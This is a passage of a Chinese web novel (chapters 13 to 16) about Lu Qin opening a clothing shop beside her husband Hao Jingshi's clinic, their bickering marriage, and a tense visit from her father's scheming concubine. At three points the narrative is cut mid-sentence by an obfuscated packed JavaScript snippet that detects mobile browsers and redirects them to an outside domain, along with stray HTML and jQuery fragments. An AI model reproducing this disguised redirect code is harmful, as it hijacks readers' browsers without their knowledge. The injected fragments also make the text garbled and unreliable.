不过,当下的生产技术有限,做不到短时间大批量制衣,因此,她需要提前数日在裁缝铺定制好自己想要的衣裳,相当于自己承担等待的时间,来减少顾客的等待时间。 布料、尺码、颜色她都细细嘱咐过,因为需求量大,所以每家都去了一遍。一连跑了十几日,有时候太忙来不及回家,就和菱儿住在客栈,让家丁放了信鸽回去告知一声。 独守了几日空房后,郝景时忽然觉得哪里不对,半夜睡不着坐了起来。 他自言自语道:“不对啊,这都几日了,连家都不回。” 不找他就算了,这怎么连人影都不见了。 玄岚耳朵很灵,听见他的嘀咕以后,立马从树上跳下来了。 “少爷近日用饭不香,睡觉也不踏实,奴才去请个郎中来?” 郝景时甩手:“请什么,小爷没病,有病了自己会治。” 玄岚看了他一眼,幽幽道:“少爷,放心吧,家丁们都跟着呢,少夫人出不了什么事……” “谁,谁问你了?” “……她不回来,八成是想跟你赌气呢。” 纵使郝景时打断,玄岚也还是字正腔圆地说完了,因为他深知少爷的脾性,每回一心虚了,或者害羞了,就会结巴几下,然后倔强地狡辩。 不过,少爷是嘴硬心敞亮的,该听的话,他还是会放心上的。 果然,郝景时愣了一会儿,听进去了,沉思道:“你是说,她是故意不回来,想气气小爷?” 玄岚:“嗯,奴才觉得是。” “嘁。”郝景时又躺回去了,“小爷不生气,小爷才没那么小心眼。” 反正……不是跟别人跑了就行。 当晚郝景时睡得不沉,琢磨着再这样下去可不行,他得去把鹿芩带回来。 就算他不计较,可她数日没有给父亲母亲请安,再这样下去,父亲母亲怕是也会不满。 不过,没用他出马,第二日一早,鹿芩便带着家丁们风尘仆仆地赶回来了,还带了一个包袱回来。 见鹿芩回来,郝景时心里终于踏实了。 他下了床,双臂一搭,不太痛快地兴师问罪:“还知道回来,日日夜不归宿,像什么样子?”< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16283124|182552||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>鹿芩自知理亏,再加上铺子进展顺利,她最近心情不错,便懒得和他争论:“这几日实在忙碌,跑了许多家衣铺做衣裳,夫君别怪罪。” 她说着好脾气地微笑,将手里大大的包袱放在案上,“喏,这是特意给夫君带的,夫君快试试。” 见她和颜悦色地拆开包袱,郝景时又泄了火,不过还是咬牙切齿地嘟囔:“带礼物也不好使,小爷……” “嗯,夫君不是要纳妾吗,我看夫君平日穿的衣裳都是乌漆嘛黑的,太严肃了,别把姑娘们吓着。” 鹿芩无视他的怒火,叽里咕噜说着,拿起一件杏子色的袍子朝他身上比划,“你看,这小颜色,多喜庆呀,姑娘们看了一定喜欢。” “……?”郝景时抱在一起的胳膊僵了一下,垂头看了一眼衣裳。 鹿芩不知什么时候撤了那杏子色的,又拿起靛蓝色的比划在前,“你看,这颜色更帅,看着眼前一亮,很衬夫君的气质。” 又拿起青色:“这个清新,显得夫君活泼开朗又年轻,不对,夫君本来就年轻。” 又又拿起紫色:“嗯,不错不错,这件更有韵味,夫君穿上了一定很显贵气,当然夫君本来也贵气。” 又又又拿起红色:“哇,这件……” “好看好看都好看,别试了。”郝景时忍不住了,把衣裳夺过来丢在床上,“你就没有什么要和小爷解释的?” “怎么了?解释什么?”鹿芩笑道,“夫君别板着个脸啦,是不喜欢这些衣裳吗。” 郝景时直言道:“你走了几日不回来,是因为对小爷不满吗?” 鹿芩收拾着衣裳,善解人意地答:“我怎会对夫君不满,夫君待我不薄,我自然是事事以夫君为主,哦,对了,我路过南山一带,发现许多有情致的美人儿,正合夫君心意,改天夫君可以去那边看看。” “……”郝景时一拳打在棉花上,见她心平气和,他一时分不清她是真的大度,还是装的冷静。 虽说当初娶她是迫于父母之命,门当户对,水到渠成,不算两情相悦。 但经过这些日子的相处,他觉得她其实也……挺可爱的,至少比家里的任何人都懂他。 反正,总之,咳,纳妾并不是他的本意,他也不想两人真的因此产生心结。 想了想,郝景时憋着一口窝囊气,无奈道:“纳妾的事,你不必太在意,小爷……” “谁在意了?” 鹿芩一句话给他噎了个半死。 郝景时顿了顿,接着就见鹿芩摊手:“随夫君的意咯,男人三妻四妾也正常,我这个做正妻的,自然要大度容人,夫君看上谁,尽管提出来,我帮你准备着。” 她说着迈了步子,上前拍了拍郝景时的肩膀,侧头说。 “不过夫君,别太贪图美色,要保重自己的身子哦,不然我会心疼的。” 说完,她大步从他眼前路过,出门去了。 “?” 郝景时茫然地立在原地,越想越觉得糊涂。 什么意思? 她怎么……又变脸了? 14. 第 14 章 时隔数月。 店铺修葺完工,在各个裁缝铺里定制的衣裳也都做好了,挂着“小鹿衣铺”牌子的衣铺终于开业了。 秋风透出些许凉意,落叶纷飞到无人的角落,寂寥之中,听得一阵哗啦啦纸张颤动的声音。 细一看,原来是有许多家丁们分散在四处奔走,发放着画好的传单,衣铺门前,响亮的鞭炮声乍然吸引了街道上的路人。 “瞧一瞧看一看,新店开业,走过路过不要错过!不买的也欢迎进来逛一逛!” 鹿芩站在门口,挥舞着制作好的一面缝着“小鹿衣铺”字样的橙红色大旗,卖力地大喊。 “凡今日在衣铺消费者,无论多少,都可以免费去隔壁医馆号脉一次,仅限今日哦!” 喊声很快引来大批好奇的人跑来围观。 只见衣铺门口的鹿芩蹦蹦跳跳挥舞着比她还高的大旗,隔壁的医馆门口则站着个郝景时,靠着门框,双臂搭在一起,背后背着一面同样大的橙红色旗子,上面写着“在隔壁消费者可免费号脉,注:老弱病残孕优先”。 虽然街坊邻里都有些畏惧强势的郝景时,但大家对他的医术还是认可的。 毕竟谁都知道,郝家儿媳刚嫁过来的时候是病怏怏的,据说病的都快死了,经郝景时之手,如今竟然又蹦又跳,还能扛大旗,有劲儿的很。 众人忍不住在门前交头接耳,讨论着这诱人的优惠活动。 “免费号脉?真的假的?” “的确划算啊,花一份钱,既买了衣裳又看了病,这看病的银子也不少两呢!” “是啊,我听说这医馆是祖传下来的,几十年来治好过不少人,方圆十里都没有第二家医馆能比得了了。” 眼见围观的人越来越多,鹿芩赶紧跑到郝景时面前,用两根手指头强行将他的嘴角勾起弧度来。 郝景时顿了一下,随即僵硬地维持着这个笑容,笑着笑着,见鹿芩一溜烟似的跑来跑去,忍不住真笑了出来,嘴角翘起一边。 有她的,还真引来人了。 没想到他这医馆的名声还挺好,也算没白干。 此刻大多数人的注意都在号脉上,见众人止步不前,鹿芩又哒哒哒跑回店内,随便拿了一件罗裙出来展示。 她走近人群,在众人眼前翻开袖口:“家人们,看看!这件衣服,是不是轻薄透气?这可是外地进贡的料子,顶级工匠赶制了九九八十一天才得此一件!” 说着又扯了扯衣裳:“你们看,布料还很有弹性,不怕拉扯,不容易坏,非常耐穿!” 她的声音像苹果一样脆,再加上漂亮的小脸,炯炯眨着的眼睛,甜美热情的笑容,更是让人不由自主联想到“靠谱”二字。 本来只想蹭个免费号脉的人,这下纷纷被她和衣裳夺走了注意,看热闹的人们也逐渐感兴趣,忍不住凑近。 有人试探地伸出手来摸了摸滑滑的料子,问道:“能不能试试?” 鹿芩爽快地一挥手:“当然,家人们喜欢可以进来试穿,咱们这有试衣间哦!” “咱们家的衣服,都是提前制好的,省时间省力气,您不需要等上十天半个月,只需要几分钟,量了身材尺码,从衣架上拿下来,买走,非常方便!” 听后,一对小姐妹率先进了屋,紧接着适才犹豫的一大批人也都涌了进来。 见衣铺像煮开的一锅粥一样乱,鹿芩连忙让家丁帮忙,组织大家排好一条队伍。 偶然路过的人张望了一眼,以为是有什么活动,也很好奇地凑过来了。 “我瞧着这衣裳款式倒是新奇,不如去逛逛看,反正就是去试试,不买也没关系。” “就是就是。” “……” 众人边私语边迈步进屋,发现这小鹿衣铺非同寻常。 一进门,便能看见玄关处侧边贴墙的位置有个“量身间”。量身间里贴着刷成温润红色的九宫格尺子和尺码标准表,可以在短时间内粗略量出身材,寻找自己的尺码标准。 尺子前,还放置了一张圆形几案和几把小凳,是留给顾客的等候休息区域。 从量身间路过朝里走,便是衣裳的售卖区,分为男装女装两个区域,各个区域都分为几个尺寸板块,立着挂满衣裳的鹅黄色的衣架。 区域四处,分布几个着能容一人的试衣间,用厚厚的淡紫色纱帘子遮住,防止走光。 店铺的整体设计,是郝景时的杰作,不过上色倒是鹿芩的巧思。 因为装修店铺时,她忽然想起自己曾经为了做小组作业而搜过的资料。 红色能有效促进冲动消费,放在一进门的地方最好;黄色则能带来愉悦感并营造廉价印象,适合清仓大甩卖场景;紫色呢,在历史上象征权贵,就放在试衣间,让顾客在试衣的时候感觉到高端大气上档次。 为了防止这些色块太过突兀,她又把墙面的颜色也设计了一下,让店铺整体看上去生机勃勃的,不同于其他铺子里简单的原木色。 鹿芩一边招呼客人进屋,一边介绍道:“咱们的衣裳,分为几个尺码,这个小尺码的,叫做s码,中等尺码的,叫做L码,大一点的,叫做XL码,大家进门站在这个九宫格尺子里,量好尺码就可以来对应的区域试衣啦!” “当然,如果您想节约时间,还可以来看看咱们的均码区域!用弹性布料制作,有拉伸的带子,可以调节宽松哦!” 在热情的介绍声中,众人跟随她参观,率先被这新奇的店铺设计吸引,随即自行挑选,又被衣裳迷的走不动道。 郝景时设计的衣稿,都是当下最流行的花样,做出来的衣裳漂亮又便宜,当初说“只看看不买”的人也忍不住买了好几件带走。 买了衣裳,众人自然也不肯错过这免费的号脉,因此医馆和衣铺门前的两道队伍越排越长了,拐了两道弯,一直排到晌午。 越来越多的人好奇这条队伍在排什么,叫人一打听,才知道原来队伍的尽头是一家“小鹿衣铺”。 众人一传十,十传百,都道,“那衣铺可真是不同寻常,我走南闯北这么多年,还是头一次见这样的店。” “是啊,原本以为是唬人的,谁知进去一看,真是眼前一亮又一亮,这衣裳是又便宜又好看哪!” 就这样,开业第一天,小鹿衣铺便响当当的被十里八条街知晓了,挂着售卖的衣裳全都售空,赚了不少银两。 鹿芩原本囤了很多衣裳,这下库存告急,她又赶紧派大批大批的人去裁缝铺制作。 郝景时也没闲着,一直给人号脉,简直是接手医馆以来最忙碌的一天了。 两人双双忙到顾不上吃饭,一直到夜深人静,才送走最后一批客人,关了铺子的门。 关门前,鹿芩特意跟大家强调,为了回馈大家的热情,明日还会继续推出优惠活动,选择清晨作为福利时间,欢迎大家现场选购。 看大家欣喜的反应,她便知道,明日又该是忙碌的一天了。 …… 转眼间,万籁俱寂,点点星子闪烁在夜空上,晚风趁机低低掠过,拂去了忙碌间的燥热。 玄岚和菱儿打扫了铺子,陪着鹿芩关了衣铺的门,发出“吱呀”一声响。 随即众人一起前往医馆。 郝景时那边还有几个等着号脉的顾客。 见天色不早,鹿芩便让玄岚和菱儿先回府休息,自己则坐下来在一旁等郝景时。 菱儿本是不放心,想陪着主子的,但被玄岚强行带走了——少爷的幸福,他必须守护。 差不多一刻钟后,所有的顾客都满意地离开了。 见鹿芩安安静静地坐在一旁打瞌睡等他,郝景时抬手弹了下她的额头。 “喔。” 他力气不大,但把鹿芩吓了一跳。 这个欠打的家伙,最近怎么越发爱动手动脚的了。 鹿芩皱了下眉头,睁开眼:“没人了吗?” “没了。”郝景时极具暗示性地捶了下肩膀,说道,“真是累死小爷了。” “嗯。”鹿芩走到他身边来,也捶捶肩,大步地从他面前走过去了,“也累死姑奶奶了,回家吧,困死了想睡觉。”< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16283125|182552||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> “……”刷存在感失败,见鹿芩归心似箭地出了门,郝景时只得乖乖收拾东西,关门追上她。 路上,郝景时暗暗瞟了鹿芩几眼。 鹿芩像是没察觉,依然自顾自活动着颈椎和手腕。 受不了被无视,郝景时不自在地咳了一声。 这几个月,夫人对他一直是不咸不淡的态度,虽说她一如往昔地和他同吃同住,有时候还是会哭唧唧地来求他办事,但他总觉得二人之间疏离了许多。 她鲜少粘着他不说,闲聊几句,也都是关于衣铺。 就连他故意气她,她也不会像以前一样暴怒地骂他一顿了,反而只是懒得理他的样子,应付一下就过去了。 也不知道是什么缘故。 想着,郝景时又笨拙地连着咳嗽好几声。 因为咳的格外卖力,还夹杂了几声干呕,像要把心肝脾肺都吐出来了。 这拙劣的演技,鹿芩听了一下子就识破他是装的,但她不知道他葫芦里卖的什么药,于是扭头看了一眼,配合地问道:“夫君怎么忽然咳得这么厉害,是病了吗?” “夫君精通医术,一定要好好照顾自己啊,记得按时吃药,多加些衣服。” 原来她还是关心他的。 郝景时点点头,抬起一手,用中指和大拇指分别捏住两边的太阳穴,道:“可能是劳累所致,再加上近日天凉了……” 不等他说完,鹿芩露出愁容,“那不如暂时分开睡吧,万一你给我传染了,咱们都病了,衣铺就没人管了,这才刚开业,正是赚钱的好时候呢。” “……” 郝景时像哑巴吃黄莲似的,放下了搭在脑门上的手。 他讪讪地咳了一声。 “才不会耽误事,小爷身强体壮,没准吃顿饭就好了。” 鹿芩“嘁”了一声。 两人开始无言地走着,见郝景时再度习惯性地抱起双臂,掩饰尴尬般,鹿芩心头有种说不出的滋味。 她悄然看了看身边高挑的少年夫君。 郝景时今日穿的衣服是天青色,干净又清新,像初长成的树苗一样,挺拔、生机勃勃的。 确实好看。 鹿芩看着看着,忽然想起,他近日总是穿着她买的那些艳色的衣裳。 是她生气后又“想开了”装大度买来的。 狗男人,这就穿上了,打扮的花枝招展给谁看,像孔雀开屏了似的。 鹿芩又酸溜溜地收回目光。 他最近越发频繁地招惹她,小动作不断,比如拽她的头发,扯她的衣袖,弹她的额头,像极了她小时候的欠八精同桌。 她觉得这种幼稚的举动本质上是在套近乎。 同桌套近乎是为了抄作业,那么郝景时是为了什么呢。 分明是为了让她主动“善解人意”地帮他张罗纳妾,自己好坐享其成吧! 鹿芩说不出自己是什么感受。 若非要说,那大概是……她确实在意,并且始终过不去那道坎。 或许是不同的时代观念使然,又或许是有什么隐在心里的旁的缘故。 反正她不愿与别人共处一个夫君,哪怕她不得不接受未来会有这种可能。 因此,她能做的便只有刻意和郝景时保持距离,极力地表现出不介意,一头扎到自己的衣铺里,不去想这些乱七八糟的。 她还总结出一段万能真言。 不气不气我不气,气出病来无人替。夫君还是未成年,气一身病不值钱。 三妻四妾又如何,多几人伺候公婆。爱美之心人皆有,不行我也酒楼走一走。 无论何时何地,只要默念起自己总结的真言,鹿芩便觉得好受多了。 事业上升期的女人,可不能被男人影响。 她要更加努力地卖衣服,化悲愤为动力,赚大钱,然后开连锁铺子,开遍全国,数钱数到手软,再把郝景时甩了单过。 不就是纳小妾吗,有什么了不起,她还养男宠呢。 养一百个。 看谁纳的多。 15. 第 15 章 衣铺开业数日,顾客只增不减,鹿芩一个人忙着跑裁缝铺定制、招待来人、结账,可谓是脚不沾地,好不容易养好的身子又开始出现各种不适。 在郝景时的再三警告下,她开始让几个家丁和丫鬟跟着学做生意,帮她分担些活计。 有了帮手,鹿芩便有了喘息的时间,闲下来时,她常给鹿老爷写家书,让菱儿送回去。 鹿老爷回信说十分想念她,出嫁数月,也不曾见她回娘家省亲,不知她过的好不好。 鹿芩看后心里很愧疚,决定等手下的人适应了活计以后,选个清闲日子回趟娘家去。 不想隔天。 鹿老爷竟带着赵姨娘和鹿萍来了衣铺。 此刻温风习习,街边的几丛野草随风发出沙沙声。 店铺的门口新放了一只小巧的铜制香炉,烟雾从里面缓缓升起,在空中缥缈。 舒心的香蔓延在铺子里,店内依然满人。 鹿芩正热情的给顾客介绍着衣裳,忽然菱儿跑来,在她耳边小声告知。 听到是鹿老爷来,鹿芩先是意外地一愣,接着又惊又喜地回头望过去,果然见了鹿老爷站在门口望着她。 他比她记忆里的样子苍老了一些,身子微微佝偻,手背在身后,但站姿端正,骨子里的儒雅风度不减。 鹿芩紧着招待完眼前的客人,随即便把店交给了最伶俐的菱儿看顾,一路小跑过去迎接爹爹。 爹爹来看她,她固然高兴,就是这赵姨娘不知道跟过来干嘛,还带了鹿萍一起,碍眼极了。 想了想,鹿芩决定带着父亲等人去隔壁小坐,正好也见见郝景时。 免费号脉的活动结束后,医馆便少有人来往了,郝景时依然守在医馆,没事时就设计衣稿,或者去给她打打下手。 医馆又近又清净,一时半会儿也没有病人来,在这里跟爹爹叙旧最为合适了。 鹿芩为众人引路,避开在前的客人,出了衣铺,来到医馆,招呼着爹爹进来坐。 鹿老爷等人打量了一下四处,虽然医馆狭小,但东西摆放的整洁,地方勉强容下几人。 她仓促地带了家人来,郝景时还愣了一下,赶忙让了座位给鹿老爷。 他没失女婿的身份礼数,给鹿老爷请了安,赔礼说近日太忙没顾上陪鹿芩回家,又匆匆跑出去说买些茶点回来。 郝景时匆匆离开后,鹿芩挪了几把小方凳过来给他们坐。 赵姨娘笑颜如花地夸她能干,维持着贤良温柔的形象。 鹿萍则一边坐一边瞟着郝景时离开的背影,有点不怀好意似的。 鹿芩懒得多看这俩人,搬了凳子就到鹿老爷面前去了。 鹿老爷抚平衣襟落座,眼里布满了伤感,似乎在心疼她的操劳:“芩儿,你坐你坐,无妨,爹爹就是来看看你,没料到你正忙着,别耽误你了。” “哪儿的话,是女儿不孝,自打成亲以后也没回娘家看看爹爹。”鹿芩给自己也搬了一把凳子,对着众人坐下,“女儿新做了不少衣裳,正想送些给爹爹,不想爹爹自己来了,等会儿爹爹选些喜欢的拿回去吧。” “这些都不是要紧的。芩儿,爹爹看着,你的气色似乎好多了。”鹿老爷来来回回地看着她,从发丝上下看到手指,总算放心,“可还好吗?夫君待你如何?” 听到这个问题,鹿芩没来由地觉得害羞,结巴了一下:“夫君……夫君待我极好。” 平心而论,郝景时对她的确不算坏,不过想到赵姨娘也在,她特意更夸张地用了“极好”词。 正说着,郝景时从对面的街道买了东西回来了,一进门见众人望着他,不明所以地顿了一下。 鹿芩紧接着又吐字清晰地补充说:“而且夫君医术精湛,一直尽心为我医治,从没有嫌我累赘过,我的病便是夫君医好的。” 鹿老爷听到这话,担忧的神色总算消失了,脸上见了些笑容。 突然被鹿芩当众夸赞,郝景时有些难为情了,但心里美滋滋的,他将茶点放置好,热络地给鹿老爷倒上茶水,也象征性地给赵姨娘一杯。 做完这些,他又习惯性地抱起双臂立在一旁,斜倚着门口。 “老爷您看,我就说这冲喜没错。”赵姨娘端着白色茶杯小吮一口后,果然忍不住插话了,“才嫁过来过几个月,大小姐的病眼见就要好了,可见姑爷是旺福之人。” 她打趣地笑着,随即翘着兰花指又饮了一口茶。 鹿芩一眼就能看出来她是假笑,赵姨娘怎么可能盼着她好,恐怕这会儿后槽牙都要咬碎了吧。 “哪儿的话。”鹿芩也假笑回道,“这是姨娘亲自为我选的夫君,怎会有错。再说我病愈也不是冲喜的缘故,应该是夫君的功劳才对。” 她刻意强调着“亲自”二字,话里有话,赵姨娘顿了一下,瞬间听出其含义。 没想到数月不见,这病秧子竟然嘴皮子变利索了。 她顺着话又道:“是啊,多亏姑爷,真是有心了。” 听后,郝景时瞥了她一眼,似笑非笑地勾着唇。 他对这个恶毒的赵姨娘本来就没什么好印象,现在见了本人,更觉得她虚伪,因此心生厌恶。 他搭着双臂意有所指道:“也没什么,夫人久病不愈,是被人下了毒的缘故,至于毒从何来……许是府里有手脚不干净的人,姨娘可得留意些,别和夫人一样被人害了。” 郝景时说的十分自然,倒像是真好心相劝似的,但鹿芩秒懂他的意思,内心直呼仗义,这夫君真能处,开团就跟。 要知道,郝景时可不是什么好脾气的主,面对看着不顺眼的人还能这般客气说话,已经是克制至极了。 她暗爽,瞥了一眼赵姨娘。 赵姨娘也不是傻子,明白他在阴阳,脸色果然难看了些,不过还是体面地笑道:“果真吗?难怪总是不见好。” 说着又假惺惺看着鹿老爷,“都是妾身的疏忽,回去啊,妾身定把府里的人都查个遍,揪出这凶手。” 听到是有人暗害女儿,鹿老爷自然是怒了,点头同意彻查府上的人。 他也很自责:“竟有这事,都是爹爹疏忽了啊,害得我的宝贝女儿受此苦楚。” 见鹿老爷并没有说怪罪赵姨娘,郝景时觉得不甘心,他安抚了鹿老爷几句后, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16283126|182552||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 还想再添油加醋地暗讽赵姨娘一下。 不过刚张口,赵姨娘便看出他的意图,赶紧抢着给自己个台阶,转移了话题。 “大小姐。”她缓缓道,“我看你这衣铺热闹的很,平日定是忙不过来吧?” 鹿芩本来乐呵呵的沉浸在吃瓜状态里,突然被喊到,一时没转过来脑子。 意识到是郝景时“败阵”了,她有点惋惜:“前一阵是忙不过来,不过现在有下人们帮衬,倒也还好。” “真是辛苦。”赵姨娘说道,“不如让你大哥和妹妹也来搭把手吧,都是一家人,互相帮衬着,正好这铺子从前是你大哥的,他还怪想呢。” 她声音柔媚,不急不忙,任谁听了都觉得是在和和气气的打商量。 但这一个字一个字的落进鹿芩耳朵里,跟噼里啪啦打算盘珠子的声音没什么分别。 鹿芩恍然大悟。 怪不得赵姨娘要跟来,还特意带了鹿萍一起。 看来,赵姨娘是知道再难致她于死地了,所以转变计划,把主意打在了她这日进斗金的衣铺上。 简直是穷恶亲戚找上门要钱,说“你小时候我还抱过你哪”。 哼,想从她这拿钱走,没那么容易。 “姨娘,店铺现在不缺人手的。”鹿芩转转眼珠,立马露出为难之色,转手把烂摊子扔给郝景时了,“再说这铺子是夫君买下来的,写的也是夫君的名字,我怎么能做主呢。” 说着,她瞥了眼郝景时,暗暗露出自己招牌的求助般的星星眼。 赶紧拒绝啊,我可不要天天见到这俩货。 看到鹿芩频频眨着眼,嘴巴可怜地一撇,郝景时唇角倏忽而逝地上翘,无奈地领会了。 “这倒不是什么大事,咱们是一家人。”他两手一摊,接下话茬,“就是打理衣铺实在是劳累,若要使唤大哥和小妹,我还真是不好意思。” 赵姨娘听后十分欣喜,以为事情成了,结果他又一转话锋。 “不过,姨娘既然热心帮忙,我也不好拒绝,毕竟咱们都是一家人嘛,再说大哥和小妹来,也省了我两份雇人的工钱……” 他特意加重语气说“一家人”和“省了工钱”,不难听出话外音便是“得到两个免费劳动力我不介意”。 赵姨娘滞了须臾,果然吃瘪了,毕竟她也说了是一家人,自然是不好意思再厚脸皮提出要工钱。 她讪笑道:“无妨,我也就是随口一提,姑爷说的是,万一他俩笨手笨脚的,再添麻烦,反倒得不偿失。” 郝景时听了,装作惋惜地点头,还像模像样地挽留了一下,鹿芩忍不住将双手背过去,暗自掐着胳膊憋笑。 还得是郝景时。 鹿芩原以为赵姨娘会老老实实地闭了嘴,但没想到,她讪笑后,又给自己找了个台阶,转移了话题。 还像报复似的冲她来了。 “大小姐素来体弱多病,如今身子好些了,别光顾着忙活,也该给老爷添个外孙。” 赵姨娘盈盈地笑着,有意无意地往鹿芩那边瞅瞅。 “更何况,成婚的日子也不短了,姑爷,你说是不是?” 16. 第 16 章(修) “……” 还真是哪壶不开提哪壶。 鹿芩感觉很不爽,真想骂她两句。好在郝景时没被挑拨离间,还是维护她道:“子嗣哪能强求,非要天时地利人和才是。对了,夫人体弱多病,都是因为忧思过度,姨娘平时也要少操心,注意保重。” “……” 赵姨娘尬笑一声,再度转移话题。 她很能巧妙地给自己解围,不过,无论她说什么,郝景时都追着讽刺她,还不失小辈的礼数,几度让她吃哑巴亏。 鹿芩高兴地看热闹,时不时地煽风点火一下,让她尴尬。 看出这两口子对她不太客气以后,赵姨娘很识趣,找了个时机提出离开。 不过,她并不恼,反而心里暗笑着。 因为她的目的已经达到了,吃点嘴上的亏又何妨。 众人临走前,鹿芩跑去衣铺给爹爹打包了些衣裳。 谁料拿着包袱回来时,正撞见鹿萍对着郝景时娇笑。 鹿芩不由得地顿了一下,僵了脚步。 鹿萍身边,赵姨娘站在一旁,笑的精明,她好像隐隐之间,读懂了什么。 恐怕赵姨娘这次的目的,本来就不只是为了让儿女打工,否则为何只带鹿萍而不带鹿鸣…… 对了,早在签地契时,鹿鸣就跟郝景时提过纳了鹿萍过门,今天…… 鹿芩想着想着,越发心痒痒,呆在原地忘了动,就这么看着他们。 郝景时还是抱着两条胳膊,唇角微微勾着,不知道说了句什么,转身又回到医馆里去了。 鹿萍挥了挥手,还留恋似的望着郝景时的背影,鹿芩见了觉得很不是滋味。 但她还是若无其事地走过去,将包袱交给爹爹,灿烂地笑着和他们告别。 送走众人后,鹿芩心不在焉地在医馆门口站了一会儿,随即转过身去,进到里面。 郝景时斜坐在柜台前,又提笔画起衣稿来了,眉眼惬意,落笔轻松,看着心情不错。 狗男人,看把你美的。 鹿芩心里唾弃了一下,但还是走过去甜甜地说道:“刚刚多谢夫君解围,要不然我真不知该如何拒绝赵姨娘。” “哼,你我之间何须言谢,小爷也是看她不爽。”没了长辈在,郝景时又回归本性,也不再装规矩客套了,冷哼一声抬起头,“那你想怎么谢小爷?” “……”不是才说不需言谢吗。 鹿芩静止了。 见她宕机,郝景时啧了一声,挥了下手开玩笑道:“好没诚意,小爷还想许个愿望呢,算了算了。” 鹿芩垂头想了想他能需要什么,可一瞬间脑子又闪过鹿萍娇笑的样子。 她头一昏说道:“既然如此……夫君今日见了我妹妹,觉得如何,满不满意?” 郝景时有点莫名其妙:“什么满不满意?” 别装了孩子,不是一直想纳一个有情致的妾吗,都套了这么多天近乎了。 鹿芩张了张口,想说不如她去回了公婆,再告知赵姨娘一声,帮他安排着。 “……”但她不知为何发不出声。 说不出来。 憋了半天后,鹿芩随便搪塞了一句:“没什么,若夫君不嫌弃,我亲手缝制一个香囊送你吧。” 说完,她转头就回衣铺去了,不过出门不出三秒,她开始莫名地生出一股庆幸,庆幸自己刚刚没有说出口。 郝景时看着她匆匆的背影迷惑了一阵,但没有多想。 他提起笔在纸上画了画,隔了一会眼睛无意识地瞟了瞟梁顶,自言自语地嘀咕了一句:“香囊……也挺好。” …… 太阳日复一日地东升西落,街道的喧哗随日出而起,日落而止。 趁着铺子里还没来什么人,鹿芩独自将客人试过的衣裳整理好挂回去。 最近也不知道为什么,来衣铺的客人越来越少了,每每翻看账本,她都发现营业额在下滑。 不应该呀,她明明已经上新了秋装,正值换季,需求量应该更大才是。 鹿芩沉思了几日原因,觉得大概是众人新鲜感过去了,便派了几个下人去观察,看看最近大家伙都在哪里买衣裳,需要什么样的衣裳。 同时,为了能展示更多款式,激发大家的购买欲,她又在墙上也做了些设计,打了一排铆钉来挂衣裳。 有些衣裳挂的比较高,她踮脚也够不到,便自己做了一个取衣架,类似于现代地下街小商铺里的那种。 取衣架是实木的,有些分量,鹿芩在最顶头打了根长钉,用火淬弯了,像钩子似的,为了防止钉子将衣裳勾坏,她还在尖锐的地方包上了一层厚厚的棉布。 因为没有塑料管轻便,这副身体又柔弱,所以她每每用起来,都有些拿不稳。 鹿芩伸长了胳膊摇摇晃晃地去挂衣裳时,身后忽然有人把她手里的取衣架接了过来。 她顿了一下,不自觉地松开了手,回头一看,发现是郝景时。 他站在她身后,与她不过咫尺距离,一抬手几乎将她圈在怀里,毫不费力地帮她挂好了衣裳。 挂完,他饶有兴趣地掂了掂取衣架,笑了一声:“你还挺有办法。” “那是自然。”鹿芩绕开他,又拿起另一件衣裳,“不过这取衣架不如夫君好使唤,既然夫君来了,就把这件也挂上吧。” 郝景时听后,故意把取衣架扛在肩上不动,望天:“还想使唤小爷,小爷凭什么听你的。” 鹿芩翻翻白眼,抖了下衣裳。 她知道他想听什么,于是一边在心里骂“惯的你臭毛病”,一边嘴上甜甜地顺着他道:“夫君,你就帮我挂上嘛,你最好了。” 郝景时揉揉耳朵,蹬鼻子上脸道:“什么,大点声,小爷没听清。” 鹿芩呵呵了一声,凑到他耳边,非常大声地说:“啊?怎么会听不清呢!!夫君年纪轻轻的就聋了吗!?” “……” 郝景时被震的俊脸一褶。 缓了缓后,他自然是不甘示弱地怼回去了:“小爷没聋,刚才还能听见狗叫!” 鹿芩:“什么?夫君会狗叫?” 郝景时:“夫人,你才是聋了,小爷给你治治吧!” “……” 两人就这么你一句我一句,谁也不让谁地斗起嘴来了,还不忘忙着手里的活。 斗得火热朝天时,店铺开始陆陆续续地来客人了,二人便小了些声音,暗中较劲。 帮她挂好了衣裳,郝景时又回了医馆,临走前还敲了下她脑门:“别忘了小爷的香囊。” 鹿芩哦了一声,又继续忙着接待客人。 原本觉得这事不打紧的。 但客人走后,鹿芩闲了下来,忽然心头痒痒的,一直想着郝景时弹她一下额头,像有一把毛絮在蹭。 她揉揉脸蛋,开始找事干整理着衣裳。 隔了一会儿,郝 